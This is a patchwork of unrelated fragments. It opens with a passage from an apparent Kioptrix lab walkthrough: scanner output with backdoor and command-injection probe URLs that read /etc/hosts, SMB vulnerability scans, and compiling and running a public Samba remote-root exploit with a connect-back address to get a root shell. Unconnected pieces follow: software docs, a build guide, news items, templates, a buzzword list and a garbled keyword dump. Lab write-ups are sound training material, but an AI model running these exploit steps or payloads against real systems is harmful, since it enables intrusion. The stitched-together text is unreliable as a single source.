+ OSVDB-3233: /icons/README: Apache default file found.
+ OSVDB-3092: /test.php: This might be interesting...
+ /wp-content/themes/twentyeleven/images/headers/server.php?filesrc=/etc/hosts: A PHP backdoor file manager was found.
+ /wordpresswp-content/themes/twentyeleven/images/headers/server.php?filesrc=/etc/hosts: A PHP backdoor file manager was found.
+ /wp-includes/Requests/Utility/content-post.php?filesrc=/etc/hosts: A PHP backdoor file manager was found.
+ /wordpresswp-includes/Requests/Utility/content-post.php?filesrc=/etc/hosts: A PHP backdoor file manager was found.
+ /wp-includes/js/tinymce/themes/modern/Meuhy.php?filesrc=/etc/hosts: A PHP backdoor file manager was found.
+ /wordpresswp-includes/js/tinymce/themes/modern/Meuhy.php?filesrc=/etc/hosts: A PHP backdoor file manager was found.
+ /assets/mobirise/css/meta.php?filesrc=: A PHP backdoor file manager was found.
+ /login.cgi?cli=aa%20aa%27cat%20/etc/hosts: Some D-Link router remote command execution.
+ /shell?cat+/etc/hosts: A backdoor was identified.
+ 8724 requests: 0 error(s) and 30 item(s) reported on remote host
+ End Time: 2019-05-10 10:21:02 (GMT-4) (32 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
The test.php page returns PHP code that has not been executed.
This could be because the tags are wrapped with 'php4' or because PHP files are not supported by the server.
Next, I'll run dirb to see what else might be on the server.
root@kali:~/Walkthroughs/kioptrix1# dirb
http://<IP_ADDRESS> /usr/share/dirb/wordlists/big.txt -o dirb-http-<IP_ADDRESS>.txt
-----------------
DIRB v2.22
By The Dark Raver
-----------------
OUTPUT_FILE: dirb-http-<IP_ADDRESS>.txt
START_TIME: Fri May 10 10:38:25 2019
WORDLIST_FILES: /usr/share/dirb/wordlists/big.txt
-----------------
GENERATED WORDS: 20458
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
-----------------
END_TIME: Fri May 10 10:41:07 2019
DOWNLOADED: 61374 - FOUND: 3
Checking out the Webalizer page, we see a few URLs listed in the Sep 2009 log.
We also see some user agent strings logged.
I tried browsing the available sites on the server with the user agent in the log (Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:<IP_ADDRESS>) Gecko/20090824 Firefox/3.5.3), but nothing changed. I then decided to try to use curl to "browse" with a malicious user agent string and see if I could get it to run when checking the stats. The log only includes up to 62 characters, so my command will have to be pretty short. Unfortunately, that didn't work either. Webalizer appears to be filtering out tags from the user agent and referrer logs.
Looking in the manual directory, I noticed something interesting.
Looks like mod_perl might be set up on the server. Based on this, plus the fact that 'test.php' wasn't being recognized as PHP code, me thinks PHP is not going to be the language of choice. I also know that MRTG is written in perl, so everything is pointing to the fact that Perl is going to be the only language supported... which is tough to embed in regular HTML pages. Moving on...
Looking at the samba service, I decided to use enum4linux to pull a bunch of details. I also ran 'smb-vuln-*' scripts provided by nmap.
root@kali:~/Walkthroughs/kioptrix1# nmap -p 139 --script=smb-vuln-conficker.nse,smb-vuln-cve2009-3103.nse,smb-vuln-cve-2017-7494.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-ms17-010.nse <IP_ADDRESS>
Starting Nmap 7.70 ( https://nmap.org ) at 2019-05-10 16:49 CDT
Nmap scan report for <IP_ADDRESS>
Host is up (0.0011s latency).
PORT STATE SERVICE
139/tcp open netbios-ssn
MAC Address: 00:0C:29:7C:3A:16 (VMware)
Host script results:
| smb-vuln-cve2009-3103:
| VULNERABLE:
| SMBv2 exploit (CVE-2009-3103, Microsoft Security Advisory 975497)
| State: VULNERABLE
| IDs: CVE:CVE-2009-3103
| Array index error in the SMBv2 protocol implementation in srv2.sys in Microsoft Windows Vista Gold, SP1, and SP2,
| Windows Server 2008 Gold and SP2, and Windows 7 RC allows remote attackers to execute arbitrary code or cause a
| denial of service (system crash) via an & (ampersand) character in a Process ID High header field in a NEGOTIATE
| PROTOCOL REQUEST packet, which triggers an attempted dereference of an out-of-bounds memory location,
| aka "SMBv2 Negotiation Vulnerability."
|
| Disclosure date: 2009-09-08
| References:
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3103
|_ http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3103
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: Could not negotiate a connection:SMB: ERROR: Server returned less data than it was supposed to (one or more fields are missing); aborting [14]
Nmap done: 1 IP address (1 host up) scanned in 5.46 seconds
Googling the CVE, I was able to find the relevant exploit in the exploit database, but of course, this is for Windows, not linux. 😞
Microsoft Windows - 'srv2.sys' SMB Code Execution (Python) (MS09-050) | exploits/windows/remote/40280.py
I noticed that neither nmap nor enum4linux returned the specific Samba version, so I tried to pull it manually using smbclient.
root@kali:~/Walkthroughs/kioptrix1# smbclient -W MYGROUP //<IP_ADDRESS>/ipc$ -U''%'' -c q
This also failed to produce any output, so I stared a packet capture with tshark and ran the command again. Looking at the capture in Wireshark, I can see the Samba version is 2.2.1a.
Searching the exploit database for this version of samba produced a known remote code execution vulnerability.
Samba < 2.2.8 (Linux/BSD) - Remote Code Execution | exploits/multiple/remote/10.c
I made a copy of the exploit code, compiled it and ran it to see what the options are.
root@kali:~/Walkthroughs/kioptrix1# cp /usr/share/exploitdb/exploits/multiple/remote/10.c .
root@kali:~/Walkthroughs/kioptrix1# gcc -o sambal 10.c
root@kali:~/Walkthroughs/kioptrix1# ./sambal
samba-2.2.8 < remote root exploit by eSDee (www.netric.org|be)
--------------------------------------------------------------
Usage: ./sambal [-bBcCdfprsStv] [host]
-b <platform> bruteforce (0 = Linux, 1 = FreeBSD/NetBSD, 2 = OpenBSD 3.1 and prior, 3 = OpenBSD 3.2)
-B <step> bruteforce steps (default = 300)
-c <ip address> connectback ip address
-C <max childs> max childs for scan/bruteforce mode (default = 40)
-d <delay> bruteforce/scanmode delay in micro seconds (default = 100000)
-f force
-p <port> port to attack (default = 139)
-r <ret> return address
-s scan mode (random)
-S <network> scan mode
-t <type> presets (0 for a list)
-v verbose mode
Looks like we'll need to specify our platform (-b 0), our local IP address (-c <IP_ADDRESS>) and the victim's IP address (<IP_ADDRESS>).
NOTE: I had to modify a line in 10.c to accommodate my IP addressing scheme. The code is checking to make sure there aren't any zeros in the IP address. Since my IP addresses have a zero in the third octet, I was getting an "Invalid IP" error when trying to execute the script. I had to make the following change.
root@kali:~/Walkthroughs/kioptrix1# diff 10.c.old 10.c
795c795
< if (ip1 == 0 || ip2 == 0 || ip3 == 0 || ip4 == 0) {
---
> if (ip1 == 0 || ip2 == 0 || ip3 < 0 || ip4 == 0) {
Once I fixed the IP address check and recompiled, I was able to successfully execute the exploit.
root@kali:~/Walkthroughs/kioptrix1# ./sambal -b0 -c <IP_ADDRESS> <IP_ADDRESS>
samba-2.2.8 < remote root exploit by eSDee (www.netric.org|be)
--------------------------------------------------------------
+ Bruteforce mode. (Linux)
+ Host is running samba.
+ Worked!
--------------------------------------------------------------
*** JE MOET JE MUIL HOUWE
Linux kioptrix.level1 2.4.7-10 #1 Thu Sep 6 16:46:36 EDT 2001 i686 unknown
uid=0(root) gid=0(root) groups=99(nobody)
And we found another path to root. 😄


This extension will display a flattened, nested Data Layer object within the Javascript console. The default object name is "digitalData" but this value can be customized below.


A component for using beans to process JBI message exchanges by using injection.
A number of annotations can be used to enrich the metadata of the POJO to help describe how the
container will invoke the methods on the POJO from JBI.
- ExchangeDriven to indicate a method should be explicitly used for dealing with JBI message exchanges.


We aggregate solutions!
- strategize cutting-edge e-services
- synergize enterprise systems
- cultivate sexy communities
- unleash sticky portals
- monetize cutting-edge e-tailers
- brand dot-com portals
- engineer magnetic e-services
- syndicate distributed supply-chains
- incubate seamless interfaces
- exploit rich convergence
- enhance value-added e-commerce
- envisioneer cutting-edge architectures
- reintermediate proactive mindshare
- target sticky experiences
- e-enable revolutionary methodologies


Develops and manufactures various devices such as UV-LED irradiators, tensile testing machines, resin curing shrinkage stress measuring device , UV curing sensors, and surface reforming sensors.
We are the authorized dealer for AcroEdge Stency.


@* * Copyright 2019 HM Revenue & Customs * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *@ @(params: Map[String, Any]) @uk.gov.hmrc.hmrcemailrenderer.templates.helpers.html.template_main(params, "Access the 'Register your company' service") {
Save this email. You'll need it to:
Access the service with the link below:
From HM Revenue & Customs and Companies House
}


Pick only one row as a combination for guessing the first two words and pick only one word from each cell.
| 1st Word | 2nd Word |
|---|---|
| pause, cause | irony |
| quite | annoy |
| dairy, diary | house |
If you end up with candidate words such as bater, cater, dater, gater, hater, ..., you don't have to guess each of them one by one. Instead, you can try to find a word that covers as many letters in "b c d g h" as possible. For this purpose, you can use this section to find the top 50 possible words


{include file="public/header" /} {include file="public/about_nav" /}
{include file="public/footer" /}


--- title: How GPU came to be used for general computation layout: post ---
The story of how GPU came to be used for high-performance computation is pretty cool. Hardware heavily optimized for graphics turned out to be useful for another use: certain types of high-performance computations. In this article, I will explore how and why this happened, and summarize the state of general computation on GPUs today.
Always wondered about this. Really great info.


He is the light of programming world.
Javascript is the trash of trash. 当然我是扯淡
Javascript is the trash of trash.
当然我是扯淡


{# basic/searchbox.html ~~~~~~~~~~~~~~~~~~~~ Sphinx sidebar template: quick search box. :copyright: Copyright 2007-2011 by the Sphinx team, see AUTHORS. :license: BSD, see LICENSE for details. #}


The Parted package is a disk partitioning and partition resizing tool.
This package is known to build and work properly using an LFS-8.3 platform.
Download (HTTP): https://ftp.gnu.org/gnu/parted/parted-3.2.tar.xz
Download (FTP): ftp://ftp.gnu.org/gnu/parted/parted-3.2.tar.xz
Download MD5 sum: 0247b6a7b314f8edeb618159fa95f9cb
Download size: 1.6 MB
Estimated disk space required: 27 MB (additional 2 MB for the tests and additional 1 MB for optional PDF and Postscript documentation)
Estimated build time: 0.4 SBU (additional 0.6 SBU for the tests)
Optional, to fix build without device mapper support: http://www.linuxfromscratch.org/patches/blfs/svn/parted-3.2-devmapper-1.patch
LVM2 (needed for device-mapper, required if building udisks), pth, and texlive (or tl-installer
User Notes: http://wiki.linuxfromscratch.org/blfs/wiki/parted
If you want to build without device mapper support, a fix is necessary:
patch -Np1 -i ../parted-3.2-devmapper-1.patch
Install Parted by running the following commands:
sed -i '/utsname.h/a#include <sys/sysmacros.h>' libparted/arch/linux.c && ./configure --prefix=/usr --disable-static --disable-device-mapper && make && make -C doc html && makeinfo --html -o doc/html doc/parted.texi && makeinfo --plaintext -o doc/parted.txt doc/parted.texi
If you have texlive installed and wish to create PDF and Postcript documentation issue the following commands:
texi2pdf -o doc/parted.pdf doc/parted.texi && texi2dvi -o doc/parted.dvi doc/parted.texi && dvips -o doc/parted.ps doc/parted.dvi
If you wish to run the test suite, first remove a test that normally fails in BLFS (because it needs a locale C.UTF-8):
sed -i '/t0251-gpt-unicode.sh/d' tests/Makefile
To test the results, issue: make
check. Note that many tests are skipped if not run
as the root
user.
Now, as the root
user:
make install && install -v -m755 -d /usr/share/doc/parted-3.2/html && install -v -m644 doc/html/* \ /usr/share/doc/parted-3.2/html && install -v -m644 doc/{FAT,API,parted.{txt,html}} \ /usr/share/doc/parted-3.2
If you generated the optional PDF and Postscript documentation
above, intstall the documentation by issuing the following command
as the root
user:
install -v -m644 doc/FAT doc/API doc/parted.{pdf,ps,dvi} \ /usr/share/doc/parted-3.2
sed ...: Add a header to allow building with glibc-2.28 or later.
--disable-static
: This
switch prevents installation of static versions of the libraries.
--disable-device-mapper
: This option
disables device mapper support. Add this parameter if you have not
installed LVM2.
Last updated on 2018-11-09 11:58:23 -0800


SpareSpott is a simple solution to a complicated problem. Often times cities don’t offer adequate parking to suffice the needs of their citizens. Furthermore, this parking is often expensive and inconvenient. SpareSpott lets gives control back to the masses.


Jeffrey Jackson
I am a small business owner, and an iOS / Mac software engineer available for hire.
Previous Work
I've been building software since 2001. I started building Mac apps back in 2005, and then iOS a few years later when the SDK was first announced. In 2009, I started AutoLean, Inc., a small software company that provides iOS/Mac, Android, and .NET development services for manufacturers and industrial oriented businesses. AutoLean uses mobile devices and lean manufacturing methodologies to increase productivity and safety, assist in problem solving, and manage assets in industrial settings.
Around late 2012 I started volunteering to help get Over off the ground. In 2013 I took a hiatus from everything else to work full time at Over as Founder and Engineer. It's now one of the most popular apps for editing photos with great typography on the App Store. During my time there as Founder/Engineer, I built new rendering engines, multiple UI/UX improvements, and a highly scalable backend for managing IAPs and user accounts. Over was featured as Starbucks App of Week, as well as during Apple's 5 year birthday campaign which allowed us to onboard several million users within 1 week. We also built a few other popular apps like Obaby & Obaby+, and Overgram. While my time with Over was very rewarding as a software engineer, I made the decision to go back full-time with AutoLean in January 2014.
In the coming months I plan on starting another christian based business, but one that provides software products and development services outside of my manufacturing client base.
Resume
You can get a copy of my resume here.
Get in Touch
You can find me either at Twitter, LinkedIn, or on GitHub.
Feel free to send me an email at<EMAIL_ADDRESS>Apps
Apps for Manufacturing
Pathmedo Advance Care Planning App
elistik realtime event registration, surveys, promotions & more
entourage.io ~ your most influential twitter followers
Pure Gas - iOS


"JAXP masquerading" is a feature of MSV that allows developers to incorporate MSV into existing JAXP-based applications relatively easily.
The key advantage of this feature is that the change to your existing code will be minimal.
MSV implements the JAXP interface, which is basically a proxy (or a wrapper) to another JAXP implementation. MSV does not do any actual work except the validation; all other parsing tasks are delegated to another JAXP implementation.
As a whole, from the application developer's perspective, this feature effectively adds the multi-schema validation capability into any JAXP parser.
If your application is using DOM, it must have some code to
create a new instance of DocumentBuilderFactory
:
// create a new parser DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance(); factory.setNamespaceAware(true); Document dom = factory.newDocumentBuilder().parse(urlOfDocument); // do something with the parsed dom
To use JAXP masquerading, change the above code as shown in the following example:
// create a new parser DocumentBuilderFactory factory = com.sun.msv.verifier.jaxp.DocumentBuilderFactoryImpl(); factory.setNamespaceAware(true); factory.setAttribute("http://www.sun.com/xml/msv/schema", schemaUrl); Document dom = factory.newDocumentBuilder().parse(urlOfDocument); // do something with the parsed dom
If your application is using SAX, it must have some code to
create a new instance of SAXParserFactory
:
// create a new parser SAXParserFactory factory = SAXParserFactory.newInstance(); factory.setNamespaceAware(true); SAXParser parser = factory.newSAXParser(); // parse the document parser.parse(new File("abc.xml"),myHandler);
To use JAXP masquerading, change the above code as shown in the following example:
// create a new parser SAXParserFactory factory = com.sun.msv.verifier.jaxp.SAXParserFactoryImpl(); factory.setNamespaceAware(true); SAXParser parser = factory.newSAXParser(); factory.setProperty("http://www.sun.com/xml/msv/schema", schemaUrl); // parse the document parser.parse(new File("abc.xml"),myHandler);
The first thing you'd notice is that it creates an instance of com.sun.msv.verifier.jaxp.***Impl
instead of using the newInstance
method. In this way, you can use the JAXP masquerading implementation of MSV, instead of the normal XML parser implementation.
The next thing you'd notice is that it calls the setAttribute
method or the setProperty
method to set a schema. Once the schema is set, it is applied whenever a document is parsed.
Although the URL of the schema is passed in this example, it can accept several types of input. For details, please read this.
Once the schema is set, all the successive calls of the parse
method will be validated with the schema. Any validation error will be reported just like any other well-formedness errors; if you set an error handler, it will receive the errors; otherwise the parse
method will throw a SAXException
.
As you expect, MSV provides the multi-schema capability so you can pass a schema written in any of the supported schema languages.
The JAXP masquerading implementation of MSV supports only one property/attribute. All other properties/attributes will be processed by the underlying implementation.
| Name: | http://www.sun.com/xml/msv/schema |
| Type: | java.lang.String, java.io.File, java.io.InputStream, org.xml.sax.InputSource, org.iso_relax.verifier.Schema |
| Access: | read-only |
| Desc: | Set the schema which will be used to validate documents. If a String is passed, it will be treated as the URL of the schema. If a File is passed, the schema will be parsed from that file. If an InputStream is passed, the schema will be read from that stream. If a Schema object is passed, then that schema will be used. |
| Note: |
Currently, the detection of DTD is done by checking the file extension ".dtd". Therefore, if you are planning to use DTDs, then you cannot pass an InputStream (because it doesn't have a name). If you pass an InputSource, don't forget to call the setSystemId method to set the name. All other schemas written in XML-syntax (RELAX, W3C XML Schema, TREX and etc) will be detected correctly no matter what the format is. |
For further advanced use, please consult the javadoc of the
com.sun.msv.verifier.jaxp
package. Here are several tips:
SAXParserFactoryImpl
and DocumentBuilderFactoryImpl
. This is particularly useful with SAXParserFactoryImpl
as calling the setProperty
method each time is inconvenient and also affects the performance.
Schema
object and it doesn't necessarily come from MSV.
newInstance
method of SAXParserFactory
and DocumentBuilderFactory
. You can change this behavior by passing an instance of them to the constructor of SAXParserFactoryImpl
and DocumentBuilderFactoryImpl
.


AssertionError
will be caught and silently ignored.
Examples:
void javaAssertion() { try { ... assert 1 == 2; // the assertion is silently ignored } catch (AssertionError e) {} }
@Test void testWithAssertJ() { try { ... assertThat(1).as("test").isEqualTo(2); // the assertion is silently ignored } catch (AssertionError e) {} }
@Test void testWithJunit() { try { ... assertEquals(1, 2); // the assertion is silently ignored } catch (AssertionError e) {} }
New in 2020.3


{{"Number of Attempt" | translate}}: {{submittedAnswer[1]}}
{{"My note" | translate}}: {{myAnswerC2[1]}}
{{"Model Answer" | translate}}
({{"Click here to see the answer" | translate}}){{"Answer" | translate}}: {{sampleAnswer[0]}} {{"Explanation" | translate}}: {{sampleAnswer[1]}}
{{"Number of Correct Answer vs Number of Wrong Answer (First Submission)" | translate}}


The DECODE statement can almost do what the CASE statement does, but with a simpler syntax. Note that the DECODE function can only check for equality, rather than ranges of values, similar to the prior CASE statement.
This example won't give exactly the same results as the example since the function INT(SALARY/5000) will round up or down depending on the value computed.


{% extends "base.html" %} {% block title %}Vinyl Alert{% endblock %} {% block page_content %}
something about the collection


"info" URI Scheme
About "info"
|
Standards
|
Registry ID
|
Registry Entries
|
More Information
'info' URI Registry
repositoryName
'info' URI Registry
earliestDatestamp
2003-10-08
deletedRecord
no
granularity
YYYY-MM-DD
The "info" URI Registry Prototype is currently managed by the OCLC Office of Research on behalf of
NISO
.


Class S2Cap
S2Cap represents a disc-shaped region defined by a center and radius. Technically this shape is called a "spherical cap" (rather than disc) because it is not planar; the cap represents a portion of the sphere that has been cut off by a plane. The boundary of the cap is the circle defined by the intersection of the sphere and the plane. For containment purposes, the cap is a closed set, i.e. it contains its boundary.
For the most part, you can use a spherical cap wherever you would use a disc in planar geometry. The radius of the cap is measured along the surface of the sphere (rather than the straight-line distance through the interior). Thus a cap of radius Pi/2 is a hemisphere, and a cap of radius Pi covers the entire sphere.
A cap can also be defined by its center point and height. The height is simply the distance from the center point to the cutoff plane. There is also support for "empty" and "full" caps, which contain no points and all points respectively.
This class is intended to be copied by value as desired. It uses the default copy constructor and assignment operator, however it is not a "plain old datatype" (POD) because it has virtual functions.
Constructors
| Name | Description |
|---|---|
this
()
|
The default constructor returns an empty S2Cap. |
this
(center, radius)
|
Constructs a cap with the given center and radius. A negative radius yields an empty cap; a radius of 180 degrees or more yields a full cap (containing the entire sphere). "center" should be unit length. |
this
(center, radius)
|
Constructs a cap where the angle is expressed as an S1ChordAngle. This constructor is more efficient than the one above. |
Methods
| Name | Description |
|---|---|
addCap
(other)
|
Increases the cap height if necessary to include "other". If the current cap is empty it is set to the given other cap. |
addPoint
(p)
|
Increase the cap height if necessary to include the given point. If the cap is empty then the center is set to the given point, but otherwise the center is not changed. "p" should be a unit-length vector. |
approxEquals
(other, max_error_angle)
|
Returns true if the cap center and height differ by at most "max_error" from the given cap "other". |
clone
()
|
|
complement
()
|
Returns the complement of the interior of the cap. A cap and its complement have the same boundary but do not share any interior points. The complement operator is not a bijection because the complement of a singleton cap (containing a single point) is the same as the complement of an empty cap. |
contains
(other)
|
Returns true if and only if this cap contains the given other cap (in a set containment sense, e.g. every cap contains the empty cap). |
contains
(p)
|
The point "p" should be a unit-length vector. |
decode
(decoder)
|
Decodes an S2Cap encoded with Encode(). Returns true on success. |
empty
()
|
Returns an empty cap, i.e. a cap that contains no points. |
encode
(encoder)
|
Appends a serialized representation of the S2Cap to "encoder". |
expanded
(distance)
|
Returns a cap that contains all points within a given distance of this cap. Note that any expansion of the empty cap is still empty. |
fromCenterArea
(center, area)
|
Returns a cap with the given center and surface area. Note that the area can also be interpreted as the solid angle subtended by the cap (because the sphere has unit radius). A negative area yields an empty cap; an area of 4*Pi or more yields a full cap. "center" should be unit length. |
fromCenterHeight
(center, height)
|
Returns a cap with the given center and height (see comments above). A negative height yields an empty cap; a height of 2 or more yields a full cap. "center" should be unit length. |
fromPoint
(center)
|
Convenience function that creates a cap containing a single point. This method is more efficient that the S2Cap(center, radius) constructor. |
full
()
|
Returns a full cap, i.e. a cap that contains all points. |
getArea
()
|
Returns the area of the cap. |
getCellUnionBound
(cell_ids)
|
Computes a covering of the S2Cap. In general the covering consists of at most 4 cells except for very large caps, which may need up to 6 cells. The output is not sorted. |
getCentroid
()
|
Returns the true centroid of the cap multiplied by its surface area (see s2centroids.h for details on centroids). The result lies on the ray from the origin through the cap's center, but it is not unit length. Note that if you just want the "surface centroid", i.e. the normalized result, then it is much simpler just to call center(). |
getRadius
()
|
Returns the cap radius as an S1Angle. (Note that the cap angle is stored internally as an S1ChordAngle, so this method requires a trigonometric operation and may yield a slightly different result than the value passed to the (S2Point, S1Angle) constructor.) |
height
()
|
Returns the height of the cap, i.e. the distance from the center point to the cutoff plane. |
interiorContains
(p)
|
Returns true if and only if the given point is contained in the interior of the cap (i.e. the cap excluding its boundary). "p" should be be a unit-length vector. |
interiorIntersects
(other)
|
Returns true if and only if the interior of this cap intersects the given other cap. (This relationship is not symmetric, since only the interior of this cap is used.) |
intersects
(other)
|
Returns true if and only if this cap intersects the given other cap, i.e. whether they have any points in common. |
isEmpty
()
|
Returns true if the cap is empty, i.e. it contains no points. |
isFull
()
|
Returns true if the cap is full, i.e. it contains all points. |
isValid
()
|
We allow negative heights (to represent empty caps) but heights are normalized so that they do not exceed 2. |
opEquals
(o)
|
Returns true if two caps are identical. |
clone
()
|
Returns a deep copy of the region. |
contains
(p)
|
Returns true if and only if the given point is contained by the region. The point 'p' is generally required to be unit length, although some subtypes may relax this restriction. |
contains
(cell)
|
Returns true if the region completely contains the given cell, otherwise returns false. |
getCapBound
()
|
Returns a bounding spherical cap that contains the region. The bound may not be tight. |
getRectBound
()
|
Returns a bounding latitude-longitude rectangle that contains the region. The bound may not be tight. |
mayIntersect
(cell)
|
If this method returns false, the region does not intersect the given cell. Otherwise, either region intersects the cell, or the intersection relationship could not be determined. |


DISQUALIFICATIONS FROM PUBLIC OFFICE OR EMPLOYMENT
Section 3. No person shall hold any public office or employment who has been convicted of any act to overthrow, or attempt to overthrow, or conspiracy with any person to overthrow the government of this State or of the United States by force or violence. [Am Const Con 1968 and election Nov5, 1968; ren and am Const Con 1978 and election Nov7, 1978]
Cross References
Convicted persons, see chapter 831.


France and Serbia handed wildcards for 2020 Davis Cup Finals
MADRID: Serbia and France have both received wildcards to next year's Davis Cup Finals, meaning they will not have to qualify, the International Tennis Federation said on Saturday.
They will join the four semi-finalists from this week's inaugural edition of the revamped Davis Cup, and 12 teams who will come through qualifying rounds in March.
Canada beat Russia in the first semi-final in Madrid's Caja Magica on Saturday, with Britain up against Spain later.
Serbia were beaten in the quarter-finals by Russia on Friday after Novak Djokovic and Viktor Troicki squandered three match points in the deciding doubles rubber. Afterwards the Serbian captain Nenad Zimonjic and his players were in tears.
Ten-time champions France, runners-up in 2018, bowed out in the group stage.
The wildcards were decided by the Davis Cup Steering Committee. The draw for the qualifying round, which will be played at "home" venues, takes place on Sunday.
(Reporting by Martyn Herman; Editing by David Holmes)


Today's Booking
RIC 214
| 9:00AM - 12:00PM | jane007 | |
|---|---|---|
| 1:00PM - 2:00PM | anon01 | |
| 4:00AM - 7:00PM | john8 |
RIC 315
| 9:00AM - 12:00PM | jane007 | |
|---|---|---|
| 1:00PM - 2:00PM | anon01 | |
| 1:00PM - 2:00PM | anon01 | |
| 4:00AM - 7:00PM | john8 |
RIC 330
| 9:00AM - 12:00PM | jane007 | |
|---|---|---|
| 1:00PM - 2:00PM | anon01 | |
| 1:00PM - 2:00PM | anon01 | |
| 4:00AM - 7:00PM | john8 |


Welcome to the IVA tool for whole genome variant analysis. This interactive tool allows finding genes affected by deleterious variants that segregate along family pedigrees, case-controls or sporadic samples.
IVA web application makes an intensive use of the HTML5 standard and other cutting-edge web technologies such as Web Components, so only modern web browsers are fully supported, these include Chrome 49+, Firefox 45+, Microsoft Edge 14+, Safari 10+ and Opera 36+.


Russian Figure Skater Kostornaia Wins Ladies' Singles Gold at Grand Prix Stage in Grenoble
GRENOBLE, France (Sputnik) - Russian figure skater Alena Kostornaia won gold medal in ladies' singles discipline at the 2019–20 ISU Grand Prix stage in France's Grenoble, her compatriot Alina Zagitova was second.
Kostornaia won both short (76.55) and free routines (159.45), with 236.00 points total.
Zagitova won silver medal with a total of 216.06 points, while US competitor Mariah Bell got bronze with 212.89.
Another representative of Russia, Maria Sotskova, was 11th with 144.89 points.


local experiments populations Great traits plant adaptation species variation trait Basin environmental native restoration common studies differences measured results seed gardens plants reported signature (.%) experiment intraspecific population scores selection {border-style Ecology phenotypic traits, climate fitness garden important px;} reciprocal #ffffff;} patterns literature multiple used (Figure United different flowering number published signatures tested using associations geographic trait‐by‐environment (signature Department Ecology, Retrieved States leaf region taxa Forest Plant data from: reproductive supported years S). appropriate germination higher information materials size study total values variables Research USDA change did environment frequently history mean range statistical supporting survival, (), (Appendix Applied Evolutionary Figure Johnson, Meyer, University [], annual available effects environments experiments, experiments. factors genetic large life locations natural represent review "Authors Espeland, Jones, adaptation. associated compared correlations differentiation ecological evolution evolutionary high importance majority maternal outdoor overall px; quantitative response similar species, studies, survival {font-family (a) Basin, Conservation However, Institute Journal, National Summary adaptation, additional approaches biomass correlated distance effect font-size gardens, generated meta‐analysis relationships represented reviews score structure, Additionally, Appendix Applications, Baughman, Evolution, Interior Leger, MAT Management Mountain Native Natural Rocky among‐population average commonly communities conducted demonstrated double; extracted floristic including invasive median package pairwise performance populations. present reporting responses sagebrush sampling seeds showed significant sizes strong testing time transplant wild‐collected "Yes" (b) ./eva. Agriculture Bucharova, Bureau Durka, Fant, Horning, IQR International Kramer, Land Larson, MAP Oregon Plants Restoration Sciences, Seed Service Service, adapted adaptive addressing analysis border-color border-width calculated claim collab: considered coordinates degree detecting directly diversity evidence example, experiments) floral focus frequent functional generation grasses, heterogeneous indicate locally location older phenology, pp. precipitation recorded relationship relatively revealed scored search separately size, solid; sourcing statistics strongest strongly support temperature traits. transplants understanding use {font-style {font-weight "No" "Yes (%) (hereafter, (median (see ./.. ./j.-...x Areas Arnold, Artemisia Bossdorf, Brewer, Clair, Data Ebert, Evolution Hoffmann, Letters, MAT, Management, Mandel, Monaco, Moritz, Nature Nevada North OWB, Science Science, Strong Svejcar, Vance‐Borland, Weber, Young, a). absence and/or averaged based basic best big bold change. characteristics collect collected collection comparison comparisons, conservation control courier; datasets date distances em; entered environment, expected experiment, future gene grasses habitat highly incidence include laboratory lifeform, management material measure methods nonlocal observed output, outside particular phylogenetic plants. populations, possible potential production provides pt;} region, region. remaining reproduction, restoration. restoration: results, sample shown shrubs, signature. sources strategies studied taxa. times," trees used, variables, variation, vary year zones,


|
ActiveTcl User Guide
|
||
Tk_WindowId, Tk_Parent, Tk_Display, Tk_DisplayName, Tk_ScreenNumber, Tk_Screen, Tk_X, Tk_Y, Tk_Width, Tk_Height, Tk_Changes, Tk_Attributes, Tk_IsContainer, Tk_IsEmbedded, Tk_IsMapped, Tk_IsTopLevel, Tk_ReqWidth, Tk_ReqHeight, Tk_MinReqWidth, Tk_MinReqHeight, Tk_InternalBorderLeft, Tk_InternalBorderRight, Tk_InternalBorderTop, Tk_InternalBorderBottom, Tk_Visual, Tk_Depth, Tk_Colormap - retrieve information from Tk's local data structure
#include <tk.h>
Window
Tk_WindowId(tkwin)
Tk_Window
Tk_Parent(tkwin)
Display *
Tk_Display(tkwin)
CONST char *
Tk_DisplayName(tkwin)
int
Tk_ScreenNumber(tkwin)
Screen *
Tk_Screen(tkwin)
int
Tk_X(tkwin)
int
Tk_Y(tkwin)
int
Tk_Width(tkwin)
int
Tk_Height(tkwin)
XWindowChanges *
Tk_Changes(tkwin)
XSetWindowAttributes *
Tk_Attributes(tkwin)
int
Tk_IsContainer(tkwin)
int
Tk_IsEmbedded(tkwin)
int
Tk_IsMapped(tkwin)
int
Tk_IsTopLevel(tkwin)
int
Tk_ReqWidth(tkwin)
int
Tk_ReqHeight(tkwin)
int
Tk_MinReqWidth(tkwin)
int
Tk_MinReqHeight(tkwin)
int
Tk_InternalBorderLeft(tkwin)
int
Tk_InternalBorderRight(tkwin)
int
Tk_InternalBorderTop(tkwin)
int
Tk_InternalBorderBottom(tkwin)
Visual *
Tk_Visual(tkwin)
int
Tk_Depth(tkwin)
Colormap
Tk_Colormap(tkwin)
Tk_WindowId and the other names listed above are all macros that return fields from Tk's local data structure for tkwin. None of these macros requires any interaction with the server; it is safe to assume that all are fast.
Tk_WindowId returns the X identifier for tkwin, or NULL if no X window has been created for tkwin yet.
Tk_Parent returns Tk's token for the logical parent of tkwin. The parent is the token that was specified when tkwin was created, or NULL for main windows.
Tk_Display returns a pointer to the Xlib display structure corresponding to tkwin. Tk_DisplayName returns an ASCII string identifying tkwin's display. Tk_ScreenNumber returns the index of tkwin's screen among all the screens of tkwin's display. Tk_Screen returns a pointer to the Xlib structure corresponding to tkwin's screen.
